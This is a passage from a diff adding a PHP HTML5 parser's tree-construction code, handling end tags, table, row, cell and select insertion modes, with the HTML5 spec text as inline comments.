scope, then pop elements from this stack until the stack + no longer has a p element in scope. */ + for ($n = count($this->stack) - 1; $n >= 0; $n--) { + if ($this->elementInScope('p')) { + array_pop($this->stack); + + } else { + break; + } + } + } + break; + + /* An end tag whose tag name is "dd", "dt", or "li" */ + case 'dd': + case 'dt': + case 'li': + /* If the stack of open elements has an element in scope + whose tag name matches the tag name of the token, then + generate implied end tags, except for elements with the + same tag name as the token. */ + if ($this->elementInScope($token['name'])) { + $this->generateImpliedEndTags(array($token['name'])); + + /* If the current node is not an element with the same + tag name as the token, then this is a parse error. */ + // w/e + + /* If the stack of open elements has an element in scope + whose tag name matches the tag name of the token, then + pop elements from this stack until an element with that + tag name has been popped from the stack. */ + for ($n = count($this->stack) - 1; $n >= 0; $n--) { + if ($this->stack[$n]->nodeName === $token['name']) { + $n = -1; + } + + array_pop($this->stack); + } + } + break; + + /* An end tag whose tag name is one of: "h1", "h2", "h3", "h4", + "h5", "h6" */ + case 'h1': + case 'h2': + case 'h3': + case 'h4': + case 'h5': + case 'h6': + $elements = array('h1', 'h2', 'h3', 'h4', 'h5', 'h6'); + + /* If the stack of open elements has in scope an element whose + tag name is one of "h1", "h2", "h3", "h4", "h5", or "h6", then + generate implied end tags. */ + if ($this->elementInScope($elements)) { + $this->generateImpliedEndTags(); + + /* Now, if the current node is not an element with the same + tag name as that of the token, then this is a parse error. */ + // w/e + + /* If the stack of open elements has in scope an element + whose tag name is one of "h1", "h2", "h3", "h4", "h5", or + "h6", then pop elements from the stack until an element + with one of those tag names has been popped from the stack. */ + while ($this->elementInScope($elements)) { + array_pop($this->stack); + } + } + break; + + /* An end tag whose tag name is one of: "a", "b", "big", "em", + "font", "i", "nobr", "s", "small", "strike", "strong", "tt", "u" */ + case 'a': + case 'b': + case 'big': + case 'em': + case 'font': + case 'i': + case 'nobr': + case 's': + case 'small': + case 'strike': + case 'strong': + case 'tt': + case 'u': + /* 1. Let the formatting element be the last element in + the list of active formatting elements that: + * is between the end of the list and the last scope + marker in the list, if any, or the start of the list + otherwise, and + * has the same tag name as the token. + */ + while (true) { + for ($a = count($this->a_formatting) - 1; $a >= 0; $a--) { + if ($this->a_formatting[$a] === self::MARKER) { + break; + + } elseif ($this->a_formatting[$a]->tagName === $token['name']) { + $formatting_element = $this->a_formatting[$a]; + $in_stack = in_array($formatting_element, $this->stack, true); + $fe_af_pos = $a; + break; + } + } + + /* If there is no such node, or, if that node is + also in the stack of open elements but the element + is not in scope, then this is a parse error. Abort + these steps. The token is ignored. */ + if (!isset($formatting_element) || ($in_stack && + !$this->elementInScope($token['name'])) + ) { + break; + + /* Otherwise, if there is such a node, but that node + is not in the stack of open elements, then this is a + parse error; remove the element from the list, and + abort these steps. */ + } elseif (isset($formatting_element) && !$in_stack) { + unset($this->a_formatting[$fe_af_pos]); + $this->a_formatting = array_merge($this->a_formatting); + break; + } + + /* 2. Let the furthest block be the topmost node in the + stack of open elements that is lower in the stack + than the formatting element, and is not an element in + the phrasing or formatting categories. There might + not be one. */ + $fe_s_pos = array_search($formatting_element, $this->stack, true); + $length = count($this->stack); + + for ($s = $fe_s_pos + 1; $s < $length; $s++) { + $category = $this->getElementCategory($this->stack[$s]->nodeName); + + if ($category !== self::PHRASING && $category !== self::FORMATTING) { + $furthest_block = $this->stack[$s]; + } + } + + /* 3. If there is no furthest block, then the UA must + skip the subsequent steps and instead just pop all + the nodes from the bottom of the stack of open + elements, from the current node up to the formatting + element, and remove the formatting element from the + list of active formatting elements. */ + if (!isset($furthest_block)) { + for ($n = $length - 1; $n >= $fe_s_pos; $n--) { + array_pop($this->stack); + } + + unset($this->a_formatting[$fe_af_pos]); + $this->a_formatting = array_merge($this->a_formatting); + break; + } + + /* 4. Let the common ancestor be the element + immediately above the formatting element in the stack + of open elements. */ + $common_ancestor = $this->stack[$fe_s_pos - 1]; + + /* 5. If the furthest block has a parent node, then + remove the furthest block from its parent node. */ + if ($furthest_block->parentNode !== null) { + $furthest_block->parentNode->removeChild($furthest_block); + } + + /* 6. Let a bookmark note the position of the + formatting element in the list of active formatting + elements relative to the elements on either side + of it in the list. */ + $bookmark = $fe_af_pos; + + /* 7. Let node and last node be the furthest block. + Follow these steps: */ + $node = $furthest_block; + $last_node = $furthest_block; + + while (true) { + for ($n = array_search($node, $this->stack, true) - 1; $n >= 0; $n--) { + /* 7.1 Let node be the element immediately + prior to node in the stack of open elements. */ + $node = $this->stack[$n]; + + /* 7.2 If node is not in the list of active + formatting elements, then remove node from + the stack of open elements and then go back + to step 1. */ + if (!in_array($node, $this->a_formatting, true)) { + unset($this->stack[$n]); + $this->stack = array_merge($this->stack); + + } else { + break; + } + } + + /* 7.3 Otherwise, if node is the formatting + element, then go to the next step in the overall + algorithm. */ + if ($node === $formatting_element) { + break; + + /* 7.4 Otherwise, if last node is the furthest + block, then move the aforementioned bookmark to + be immediately after the node in the list of + active formatting elements. */ + } elseif ($last_node === $furthest_block) { + $bookmark = array_search($node, $this->a_formatting, true) + 1; + } + + /* 7.5 If node has any children, perform a + shallow clone of node, replace the entry for + node in the list of active formatting elements + with an entry for the clone, replace the entry + for node in the stack of open elements with an + entry for the clone, and let node be the clone. */ + if ($node->hasChildNodes()) { + $clone = $node->cloneNode(); + $s_pos = array_search($node, $this->stack, true); + $a_pos = array_search($node, $this->a_formatting, true); + + $this->stack[$s_pos] = $clone; + $this->a_formatting[$a_pos] = $clone; + $node = $clone; + } + + /* 7.6 Insert last node into node, first removing + it from its previous parent node if any. */ + if ($last_node->parentNode !== null) { + $last_node->parentNode->removeChild($last_node); + } + + $node->appendChild($last_node); + + /* 7.7 Let last node be node. */ + $last_node = $node; + } + + /* 8. Insert whatever last node ended up being in + the previous step into the common ancestor node, + first removing it from its previous parent node if + any. */ + if ($last_node->parentNode !== null) { + $last_node->parentNode->removeChild($last_node); + } + + $common_ancestor->appendChild($last_node); + + /* 9. Perform a shallow clone of the formatting + element. */ + $clone = $formatting_element->cloneNode(); + + /* 10. Take all of the child nodes of the furthest + block and append them to the clone created in the + last step. */ + while ($furthest_block->hasChildNodes()) { + $child = $furthest_block->firstChild; + $furthest_block->removeChild($child); + $clone->appendChild($child); + } + + /* 11. Append that clone to the furthest block. */ + $furthest_block->appendChild($clone); + + /* 12. Remove the formatting element from the list + of active formatting elements, and insert the clone + into the list of active formatting elements at the + position of the aforementioned bookmark. */ + $fe_af_pos = array_search($formatting_element, $this->a_formatting, true); + unset($this->a_formatting[$fe_af_pos]); + $this->a_formatting = array_merge($this->a_formatting); + + $af_part1 = array_slice($this->a_formatting, 0, $bookmark - 1); + $af_part2 = array_slice($this->a_formatting, $bookmark, count($this->a_formatting)); + $this->a_formatting = array_merge($af_part1, array($clone), $af_part2); + + /* 13. Remove the formatting element from the stack + of open elements, and insert the clone into the stack + of open elements immediately after (i.e. in a more + deeply nested position than) the position of the + furthest block in that stack. */ + $fe_s_pos = array_search($formatting_element, $this->stack, true); + $fb_s_pos = array_search($furthest_block, $this->stack, true); + unset($this->stack[$fe_s_pos]); + + $s_part1 = array_slice($this->stack, 0, $fb_s_pos); + $s_part2 = array_slice($this->stack, $fb_s_pos + 1, count($this->stack)); + $this->stack = array_merge($s_part1, array($clone), $s_part2); + + /* 14. Jump back to step 1 in this series of steps. */ + unset($formatting_element, $fe_af_pos, $fe_s_pos, $furthest_block); + } + break; + + /* An end tag token whose tag name is one of: "button", + "marquee", "object" */ + case 'button': + case 'marquee': + case 'object': + /* If the stack of open elements has an element in scope whose + tag name matches the tag name of the token, then generate implied + tags. */ + if ($this->elementInScope($token['name'])) { + $this->generateImpliedEndTags(); + + /* Now, if the current node is not an element with the same + tag name as the token, then this is a parse error. */ + // k + + /* Now, if the stack of open elements has an element in scope + whose tag name matches the tag name of the token, then pop + elements from the stack until that element has been popped from + the stack, and clear the list of active formatting elements up + to the last marker. */ + for ($n = count($this->stack) - 1; $n >= 0; $n--) { + if ($this->stack[$n]->nodeName === $token['name']) { + $n = -1; + } + + array_pop($this->stack); + } + + $marker = end(array_keys($this->a_formatting, self::MARKER, true)); + + for ($n = count($this->a_formatting) - 1; $n > $marker; $n--) { + array_pop($this->a_formatting); + } + } + break; + + /* Or an end tag whose tag name is one of: "area", "basefont", + "bgsound", "br", "embed", "hr", "iframe", "image", "img", + "input", "isindex", "noembed", "noframes", "param", "select", + "spacer", "table", "textarea", "wbr" */ + case 'area': + case 'basefont': + case 'bgsound': + case 'br': + case 'embed': + case 'hr': + case 'iframe': + case 'image': + case 'img': + case 'input': + case 'isindex': + case 'noembed': + case 'noframes': + case 'param': + case 'select': + case 'spacer': + case 'table': + case 'textarea': + case 'wbr': + // Parse error. Ignore the token. + break; + + /* An end tag token not covered by the previous entries */ + default: + for ($n = count($this->stack) - 1; $n >= 0; $n--) { + /* Initialise node to be the current node (the bottommost + node of the stack). */ + $node = end($this->stack); + + /* If node has the same tag name as the end tag token, + then: */ + if ($token['name'] === $node->nodeName) { + /* Generate implied end tags. */ + $this->generateImpliedEndTags(); + + /* If the tag name of the end tag token does not + match the tag name of the current node, this is a + parse error. */ + // k + + /* Pop all the nodes from the current node up to + node, including node, then stop this algorithm. */ + for ($x = count($this->stack) - $n; $x >= $n; $x--) { + array_pop($this->stack); + } + + } else { + $category = $this->getElementCategory($node); + + if ($category !== self::SPECIAL && $category !== self::SCOPING) { + /* Otherwise, if node is in neither the formatting + category nor the phrasing category, then this is a + parse error. Stop this algorithm. The end tag token + is ignored. */ + return false; + } + } + } + break; + } + break; + } + } + + private function inTable($token) + { + $clear = array('html', 'table'); + + /* A character token that is one of one of U+0009 CHARACTER TABULATION, + U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), + or U+0020 SPACE */ + if ($token['type'] === HTML5::CHARACTR && + preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data']) + ) { + /* Append the character to the current node. */ + $text = $this->dom->createTextNode($token['data']); + end($this->stack)->appendChild($text); + + /* A comment token */ + } elseif ($token['type'] === HTML5::COMMENT) { + /* Append a Comment node to the current node with the data + attribute set to the data given in the comment token. */ + $comment = $this->dom->createComment($token['data']); + end($this->stack)->appendChild($comment); + + /* A start tag whose tag name is "caption" */ + } elseif ($token['type'] === HTML5::STARTTAG && + $token['name'] === 'caption' + ) { + /* Clear the stack back to a table context. */ + $this->clearStackToTableContext($clear); + + /* Insert a marker at the end of the list of active + formatting elements. */ + $this->a_formatting[] = self::MARKER; + + /* Insert an HTML element for the token, then switch the + insertion mode to "in caption". */ + $this->insertElement($token); + $this->mode = self::IN_CAPTION; + + /* A start tag whose tag name is "colgroup" */ + } elseif ($token['type'] === HTML5::STARTTAG && + $token['name'] === 'colgroup' + ) { + /* Clear the stack back to a table context. */ + $this->clearStackToTableContext($clear); + + /* Insert an HTML element for the token, then switch the + insertion mode to "in column group". */ + $this->insertElement($token); + $this->mode = self::IN_CGROUP; + + /* A start tag whose tag name is "col" */ + } elseif ($token['type'] === HTML5::STARTTAG && + $token['name'] === 'col' + ) { + $this->inTable( + array( + 'name' => 'colgroup', + 'type' => HTML5::STARTTAG, + 'attr' => array() + ) + ); + + $this->inColumnGroup($token); + + /* A start tag whose tag name is one of: "tbody", "tfoot", "thead" */ + } elseif ($token['type'] === HTML5::STARTTAG && in_array( + $token['name'], + array('tbody', 'tfoot', 'thead') + ) + ) { + /* Clear the stack back to a table context. */ + $this->clearStackToTableContext($clear); + + /* Insert an HTML element for the token, then switch the insertion + mode to "in table body". */ + $this->insertElement($token); + $this->mode = self::IN_TBODY; + + /* A start tag whose tag name is one of: "td", "th", "tr" */ + } elseif ($token['type'] === HTML5::STARTTAG && + in_array($token['name'], array('td', 'th', 'tr')) + ) { + /* Act as if a start tag token with the tag name "tbody" had been + seen, then reprocess the current token. */ + $this->inTable( + array( + 'name' => 'tbody', + 'type' => HTML5::STARTTAG, + 'attr' => array() + ) + ); + + return $this->inTableBody($token); + + /* A start tag whose tag name is "table" */ + } elseif ($token['type'] === HTML5::STARTTAG && + $token['name'] === 'table' + ) { + /* Parse error. Act as if an end tag token with the tag name "table" + had been seen, then, if that token wasn't ignored, reprocess the + current token. */ + $this->inTable( + array( + 'name' => 'table', + 'type' => HTML5::ENDTAG + ) + ); + + return $this->mainPhase($token); + + /* An end tag whose tag name is "table" */ + } elseif ($token['type'] === HTML5::ENDTAG && + $token['name'] === 'table' + ) { + /* If the stack of open elements does not have an element in table + scope with the same tag name as the token, this is a parse error. + Ignore the token. (innerHTML case) */ + if (!$this->elementInScope($token['name'], true)) { + return false; + + /* Otherwise: */ + } else { + /* Generate implied end tags. */ + $this->generateImpliedEndTags(); + + /* Now, if the current node is not a table element, then this + is a parse error. */ + // w/e + + /* Pop elements from this stack until a table element has been + popped from the stack. */ + while (true) { + $current = end($this->stack)->nodeName; + array_pop($this->stack); + + if ($current === 'table') { + break; + } + } + + /* Reset the insertion mode appropriately. */ + $this->resetInsertionMode(); + } + + /* An end tag whose tag name is one of: "body", "caption", "col", + "colgroup", "html", "tbody", "td", "tfoot", "th", "thead", "tr" */ + } elseif ($token['type'] === HTML5::ENDTAG && in_array( + $token['name'], + array( + 'body', + 'caption', + 'col', + 'colgroup', + 'html', + 'tbody', + 'td', + 'tfoot', + 'th', + 'thead', + 'tr' + ) + ) + ) { + // Parse error. Ignore the token. + + /* Anything else */ + } else { + /* Parse error. Process the token as if the insertion mode was "in + body", with the following exception: */ + + /* If the current node is a table, tbody, tfoot, thead, or tr + element, then, whenever a node would be inserted into the current + node, it must instead be inserted into the foster parent element. */ + if (in_array( + end($this->stack)->nodeName, + array('table', 'tbody', 'tfoot', 'thead', 'tr') + ) + ) { + /* The foster parent element is the parent element of the last + table element in the stack of open elements, if there is a + table element and it has such a parent element. If there is no + table element in the stack of open elements (innerHTML case), + then the foster parent element is the first element in the + stack of open elements (the html element). Otherwise, if there + is a table element in the stack of open elements, but the last + table element in the stack of open elements has no parent, or + its parent node is not an element, then the foster parent + element is the element before the last table element in the + stack of open elements. */ + for ($n = count($this->stack) - 1; $n >= 0; $n--) { + if ($this->stack[$n]->nodeName === 'table') { + $table = $this->stack[$n]; + break; + } + } + + if (isset($table) && $table->parentNode !== null) { + $this->foster_parent = $table->parentNode; + + } elseif (!isset($table)) { + $this->foster_parent = $this->stack[0]; + + } elseif (isset($table) && ($table->parentNode === null || + $table->parentNode->nodeType !== XML_ELEMENT_NODE) + ) { + $this->foster_parent = $this->stack[$n - 1]; + } + } + + $this->inBody($token); + } + } + + private function inCaption($token) + { + /* An end tag whose tag name is "caption" */ + if ($token['type'] === HTML5::ENDTAG && $token['name'] === 'caption') { + /* If the stack of open elements does not have an element in table + scope with the same tag name as the token, this is a parse error. + Ignore the token. (innerHTML case) */ + if (!$this->elementInScope($token['name'], true)) { + // Ignore + + /* Otherwise: */ + } else { + /* Generate implied end tags. */ + $this->generateImpliedEndTags(); + + /* Now, if the current node is not a caption element, then this + is a parse error. */ + // w/e + + /* Pop elements from this stack until a caption element has + been popped from the stack. */ + while (true) { + $node = end($this->stack)->nodeName; + array_pop($this->stack); + + if ($node === 'caption') { + break; + } + } + + /* Clear the list of active formatting elements up to the last + marker. */ + $this->clearTheActiveFormattingElementsUpToTheLastMarker(); + + /* Switch the insertion mode to "in table". */ + $this->mode = self::IN_TABLE; + } + + /* A start tag whose tag name is one of: "caption", "col", "colgroup", + "tbody", "td", "tfoot", "th", "thead", "tr", or an end tag whose tag + name is "table" */ + } elseif (($token['type'] === HTML5::STARTTAG && in_array( + $token['name'], + array( + 'caption', + 'col', + 'colgroup', + 'tbody', + 'td', + 'tfoot', + 'th', + 'thead', + 'tr' + ) + )) || ($token['type'] === HTML5::ENDTAG && + $token['name'] === 'table') + ) { + /* Parse error. Act as if an end tag with the tag name "caption" + had been seen, then, if that token wasn't ignored, reprocess the + current token. */ + $this->inCaption( + array( + 'name' => 'caption', + 'type' => HTML5::ENDTAG + ) + ); + + return $this->inTable($token); + + /* An end tag whose tag name is one of: "body", "col", "colgroup", + "html", "tbody", "td", "tfoot", "th", "thead", "tr" */ + } elseif ($token['type'] === HTML5::ENDTAG && in_array( + $token['name'], + array( + 'body', + 'col', + 'colgroup', + 'html', + 'tbody', + 'tfoot', + 'th', + 'thead', + 'tr' + ) + ) + ) { + // Parse error. Ignore the token. + + /* Anything else */ + } else { + /* Process the token as if the insertion mode was "in body". */ + $this->inBody($token); + } + } + + private function inColumnGroup($token) + { + /* A character token that is one of one of U+0009 CHARACTER TABULATION, + U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), + or U+0020 SPACE */ + if ($token['type'] === HTML5::CHARACTR && + preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data']) + ) { + /* Append the character to the current node. */ + $text = $this->dom->createTextNode($token['data']); + end($this->stack)->appendChild($text); + + /* A comment token */ + } elseif ($token['type'] === HTML5::COMMENT) { + /* Append a Comment node to the current node with the data + attribute set to the data given in the comment token. */ + $comment = $this->dom->createComment($token['data']); + end($this->stack)->appendChild($comment); + + /* A start tag whose tag name is "col" */ + } elseif ($token['type'] === HTML5::STARTTAG && $token['name'] === 'col') { + /* Insert a col element for the token. Immediately pop the current + node off the stack of open elements. */ + $this->insertElement($token); + array_pop($this->stack); + + /* An end tag whose tag name is "colgroup" */ + } elseif ($token['type'] === HTML5::ENDTAG && + $token['name'] === 'colgroup' + ) { + /* If the current node is the root html element, then this is a + parse error, ignore the token. (innerHTML case) */ + if (end($this->stack)->nodeName === 'html') { + // Ignore + + /* Otherwise, pop the current node (which will be a colgroup + element) from the stack of open elements. Switch the insertion + mode to "in table". */ + } else { + array_pop($this->stack); + $this->mode = self::IN_TABLE; + } + + /* An end tag whose tag name is "col" */ + } elseif ($token['type'] === HTML5::ENDTAG && $token['name'] === 'col') { + /* Parse error. Ignore the token. */ + + /* Anything else */ + } else { + /* Act as if an end tag with the tag name "colgroup" had been seen, + and then, if that token wasn't ignored, reprocess the current token. */ + $this->inColumnGroup( + array( + 'name' => 'colgroup', + 'type' => HTML5::ENDTAG + ) + ); + + return $this->inTable($token); + } + } + + private function inTableBody($token) + { + $clear = array('tbody', 'tfoot', 'thead', 'html'); + + /* A start tag whose tag name is "tr" */ + if ($token['type'] === HTML5::STARTTAG && $token['name'] === 'tr') { + /* Clear the stack back to a table body context. */ + $this->clearStackToTableContext($clear); + + /* Insert a tr element for the token, then switch the insertion + mode to "in row". */ + $this->insertElement($token); + $this->mode = self::IN_ROW; + + /* A start tag whose tag name is one of: "th", "td" */ + } elseif ($token['type'] === HTML5::STARTTAG && + ($token['name'] === 'th' || $token['name'] === 'td') + ) { + /* Parse error. Act as if a start tag with the tag name "tr" had + been seen, then reprocess the current token. */ + $this->inTableBody( + array( + 'name' => 'tr', + 'type' => HTML5::STARTTAG, + 'attr' => array() + ) + ); + + return $this->inRow($token); + + /* An end tag whose tag name is one of: "tbody", "tfoot", "thead" */ + } elseif ($token['type'] === HTML5::ENDTAG && + in_array($token['name'], array('tbody', 'tfoot', 'thead')) + ) { + /* If the stack of open elements does not have an element in table + scope with the same tag name as the token, this is a parse error. + Ignore the token. */ + if (!$this->elementInScope($token['name'], true)) { + // Ignore + + /* Otherwise: */ + } else { + /* Clear the stack back to a table body context. */ + $this->clearStackToTableContext($clear); + + /* Pop the current node from the stack of open elements. Switch + the insertion mode to "in table". */ + array_pop($this->stack); + $this->mode = self::IN_TABLE; + } + + /* A start tag whose tag name is one of: "caption", "col", "colgroup", + "tbody", "tfoot", "thead", or an end tag whose tag name is "table" */ + } elseif (($token['type'] === HTML5::STARTTAG && in_array( + $token['name'], + array('caption', 'col', 'colgroup', 'tbody', 'tfoor', 'thead') + )) || + ($token['type'] === HTML5::STARTTAG && $token['name'] === 'table') + ) { + /* If the stack of open elements does not have a tbody, thead, or + tfoot element in table scope, this is a parse error. Ignore the + token. (innerHTML case) */ + if (!$this->elementInScope(array('tbody', 'thead', 'tfoot'), true)) { + // Ignore. + + /* Otherwise: */ + } else { + /* Clear the stack back to a table body context. */ + $this->clearStackToTableContext($clear); + + /* Act as if an end tag with the same tag name as the current + node ("tbody", "tfoot", or "thead") had been seen, then + reprocess the current token. */ + $this->inTableBody( + array( + 'name' => end($this->stack)->nodeName, + 'type' => HTML5::ENDTAG + ) + ); + + return $this->mainPhase($token); + } + + /* An end tag whose tag name is one of: "body", "caption", "col", + "colgroup", "html", "td", "th", "tr" */ + } elseif ($token['type'] === HTML5::ENDTAG && in_array( + $token['name'], + array('body', 'caption', 'col', 'colgroup', 'html', 'td', 'th', 'tr') + ) + ) { + /* Parse error. Ignore the token. */ + + /* Anything else */ + } else { + /* Process the token as if the insertion mode was "in table". */ + $this->inTable($token); + } + } + + private function inRow($token) + { + $clear = array('tr', 'html'); + + /* A start tag whose tag name is one of: "th", "td" */ + if ($token['type'] === HTML5::STARTTAG && + ($token['name'] === 'th' || $token['name'] === 'td') + ) { + /* Clear the stack back to a table row context. */ + $this->clearStackToTableContext($clear); + + /* Insert an HTML element for the token, then switch the insertion + mode to "in cell". */ + $this->insertElement($token); + $this->mode = self::IN_CELL; + + /* Insert a marker at the end of the list of active formatting + elements. */ + $this->a_formatting[] = self::MARKER; + + /* An end tag whose tag name is "tr" */ + } elseif ($token['type'] === HTML5::ENDTAG && $token['name'] === 'tr') { + /* If the stack of open elements does not have an element in table + scope with the same tag name as the token, this is a parse error. + Ignore the token. (innerHTML case) */ + if (!$this->elementInScope($token['name'], true)) { + // Ignore. + + /* Otherwise: */ + } else { + /* Clear the stack back to a table row context. */ + $this->clearStackToTableContext($clear); + + /* Pop the current node (which will be a tr element) from the + stack of open elements. Switch the insertion mode to "in table + body". */ + array_pop($this->stack); + $this->mode = self::IN_TBODY; + } + + /* A start tag whose tag name is one of: "caption", "col", "colgroup", + "tbody", "tfoot", "thead", "tr" or an end tag whose tag name is "table" */ + } elseif ($token['type'] === HTML5::STARTTAG && in_array( + $token['name'], + array('caption', 'col', 'colgroup', 'tbody', 'tfoot', 'thead', 'tr') + ) + ) { + /* Act as if an end tag with the tag name "tr" had been seen, then, + if that token wasn't ignored, reprocess the current token. */ + $this->inRow( + array( + 'name' => 'tr', + 'type' => HTML5::ENDTAG + ) + ); + + return $this->inCell($token); + + /* An end tag whose tag name is one of: "tbody", "tfoot", "thead" */ + } elseif ($token['type'] === HTML5::ENDTAG && + in_array($token['name'], array('tbody', 'tfoot', 'thead')) + ) { + /* If the stack of open elements does not have an element in table + scope with the same tag name as the token, this is a parse error. + Ignore the token. */ + if (!$this->elementInScope($token['name'], true)) { + // Ignore. + + /* Otherwise: */ + } else { + /* Otherwise, act as if an end tag with the tag name "tr" had + been seen, then reprocess the current token. */ + $this->inRow( + array( + 'name' => 'tr', + 'type' => HTML5::ENDTAG + ) + ); + + return $this->inCell($token); + } + + /* An end tag whose tag name is one of: "body", "caption", "col", + "colgroup", "html", "td", "th" */ + } elseif ($token['type'] === HTML5::ENDTAG && in_array( + $token['name'], + array('body', 'caption', 'col', 'colgroup', 'html', 'td', 'th', 'tr') + ) + ) { + /* Parse error. Ignore the token. */ + + /* Anything else */ + } else { + /* Process the token as if the insertion mode was "in table". */ + $this->inTable($token); + } + } + + private function inCell($token) + { + /* An end tag whose tag name is one of: "td", "th" */ + if ($token['type'] === HTML5::ENDTAG && + ($token['name'] === 'td' || $token['name'] === 'th') + ) { + /* If the stack of open elements does not have an element in table + scope with the same tag name as that of the token, then this is a + parse error and the token must be ignored. */ + if (!$this->elementInScope($token['name'], true)) { + // Ignore. + + /* Otherwise: */ + } else { + /* Generate implied end tags, except for elements with the same + tag name as the token. */ + $this->generateImpliedEndTags(array($token['name'])); + + /* Now, if the current node is not an element with the same tag + name as the token, then this is a parse error. */ + // k + + /* Pop elements from this stack until an element with the same + tag name as the token has been popped from the stack. */ + while (true) { + $node = end($this->stack)->nodeName; + array_pop($this->stack); + + if ($node === $token['name']) { + break; + } + } + + /* Clear the list of active formatting elements up to the last + marker. */ + $this->clearTheActiveFormattingElementsUpToTheLastMarker(); + + /* Switch the insertion mode to "in row". (The current node + will be a tr element at this point.) */ + $this->mode = self::IN_ROW; + } + + /* A start tag whose tag name is one of: "caption", "col", "colgroup", + "tbody", "td", "tfoot", "th", "thead", "tr" */ + } elseif ($token['type'] === HTML5::STARTTAG && in_array( + $token['name'], + array( + 'caption', + 'col', + 'colgroup', + 'tbody', + 'td', + 'tfoot', + 'th', + 'thead', + 'tr' + ) + ) + ) { + /* If the stack of open elements does not have a td or th element + in table scope, then this is a parse error; ignore the token. + (innerHTML case) */ + if (!$this->elementInScope(array('td', 'th'), true)) { + // Ignore. + + /* Otherwise, close the cell (see below) and reprocess the current + token. */ + } else { + $this->closeCell(); + return $this->inRow($token); + } + + /* A start tag whose tag name is one of: "caption", "col", "colgroup", + "tbody", "td", "tfoot", "th", "thead", "tr" */ + } elseif ($token['type'] === HTML5::STARTTAG && in_array( + $token['name'], + array( + 'caption', + 'col', + 'colgroup', + 'tbody', + 'td', + 'tfoot', + 'th', + 'thead', + 'tr' + ) + ) + ) { + /* If the stack of open elements does not have a td or th element + in table scope, then this is a parse error; ignore the token. + (innerHTML case) */ + if (!$this->elementInScope(array('td', 'th'), true)) { + // Ignore. + + /* Otherwise, close the cell (see below) and reprocess the current + token. */ + } else { + $this->closeCell(); + return $this->inRow($token); + } + + /* An end tag whose tag name is one of: "body", "caption", "col", + "colgroup", "html" */ + } elseif ($token['type'] === HTML5::ENDTAG && in_array( + $token['name'], + array('body', 'caption', 'col', 'colgroup', 'html') + ) + ) { + /* Parse error. Ignore the token. */ + + /* An end tag whose tag name is one of: "table", "tbody", "tfoot", + "thead", "tr" */ + } elseif ($token['type'] === HTML5::ENDTAG && in_array( + $token['name'], + array('table', 'tbody', 'tfoot', 'thead', 'tr') + ) + ) { + /* If the stack of open elements does not have an element in table + scope with the same tag name as that of the token (which can only + happen for "tbody", "tfoot" and "thead", or, in the innerHTML case), + then this is a parse error and the token must be ignored. */ + if (!$this->elementInScope($token['name'], true)) { + // Ignore. + + /* Otherwise, close the cell (see below) and reprocess the current + token. */ + } else { + $this->closeCell(); + return $this->inRow($token); + } + + /* Anything else */ + } else { + /* Process the token as if the insertion mode was "in body". */ + $this->inBody($token); + } + } + + private function inSelect($token) + { + /* Handle the token as follows: */ + + /* A character token */ + if ($token['type'] === HTML5::CHARACTR) { + /* Append the token's character to the current node. */ + $this->insertText($token['data']); + + /* A comment token */ + } elseif ($token['type'] === HTML5::COMMENT) { + /* Append a Comment node to the current node with the data + attribute set to the data given in the comment token. */ + $this->insertComment($token['data']); + + /* A start tag token whose tag name is "option" */ + } elseif ($token['type'] === HTML5::STARTTAG && + $token['name'] === 'option' + ) { + /* If the current node is an option element, act as if an end tag + with the tag name "option" had been seen. */ + if (end($this->stack)->nodeName === 'option') { + $this->inSelect( + array( + 'name' => 'option', + 'type' => HTML5::ENDTAG + ) + ); + } + + /* Insert an HTML element for the token. */ + $this->insertElement($token); + + /* A start tag token whose tag name is "optgroup" */ + } elseif ($token['type'] === HTML5::STARTTAG && + $token['name'] === 'optgroup' + ) { + /* If the current node is an option element, act as if an end tag + with the tag name "option" had been seen. */ + if (end($this->stack)->nodeName === 'option') { + $this->inSelect( + array( + 'name' => 'option', + 'type' => HTML5::ENDTAG + ) + ); + } + + /* If the current node is an optgroup element, act as if an end tag + with the tag name "optgroup" had been seen. */ + if (end($this->stack)->nodeName === 'optgroup') { + $this->inSelect( + array( + 'name' => 'optgroup', + 'type' => HTML5::ENDTAG + ) + ); + } + + /* Insert an HTML element for the token. */ + $this->insertElement($token); + + /* An end tag token whose tag name is "optgroup" */ + } elseif ($token['type'] === HTML5::ENDTAG && + $token['name'] === 'optgroup' + ) { + /* First, if the current node is an option element, and the node + immediately before it in the stack of open elements is an optgroup + element, then act as if an end tag with the tag name "option" had + been seen. */ + $elements_in_stack = count($this->stack); + + if ($this->stack[$elements_in_stack - 1]->nodeName === 'option' && + $this->stack[$elements_in_stack - 2]->nodeName === 'optgroup' + ) { + $this->inSelect( + array( + 'name' => 'option', + 'type' => HTML5::ENDTAG + ) + ); + } + + /* If the current node is an optgroup element, then pop that node + from the stack of open elements. Otherwise, this is a parse error, + ignore the token. */ + if ($this->stack[$elements_in_stack - 1] === 'optgroup') { + array_pop($this->stack); + } + + /* An end tag token whose tag name is "option" */ + } elseif ($token['type'] === HTML5::ENDTAG && + $token['name'] === 'option' + ) { + /* If the current node is an option element, then pop that node + from the stack of open elements. Otherwise, this is a parse error, + ignore the token. */ + if (end($this->stack)->nodeName === 'option') { + array_pop($this->stack); + } + + /* An end tag whose tag name is "select" */ + } elseif ($token['type'] === HTML5::ENDTAG && + $token['name'] === 'select' + ) { + /* If the stack of open elements does not have an element in table + scope with the same tag name as the token, this is a parse error. + Ignore the token. (innerHTML case) */ + if (!$this->elementInScope($token['name'], true)) { + // w/e + + /* Otherwise: */ + } else { + /* Pop elements from the stack of open elements until a select + element has been popped from the stack. */ + while (true) { + $current = end($this->stack)->nodeName; + array_pop($this->stack); + + if ($current === 'select') { + break; + } + } + + /* Reset the insertion mode appropriately. */ + $this->resetInsertionMode(); + } + + /* A start tag whose tag name is "select" */ + } elseif ($token['name'] === 'select' && + $token['type'] === HTML5::STARTTAG + ) { + /* Parse error. Act as if the token had been an end tag with the + tag name "select" instead. */ + $this->inSelect( + array( + 'name' => 'select', + 'type' => HTML5::ENDTAG + ) + ); + + /* An end tag whose tag name is one of: "caption", "table", "tbody", + "tfoot", "thead", "tr", "td", "th" */ + } elseif (in_array( + $token['name'], + array( + 'caption', + 'table', + 'tbody', + 'tfoot', + 'thead', + 'tr', + 'td', + 'th' + ) + ) && $token['type'] === HTML5::ENDTAG + ) { + /* Parse error. */ + // w/e + + /* If the stack of open elements has an element in table 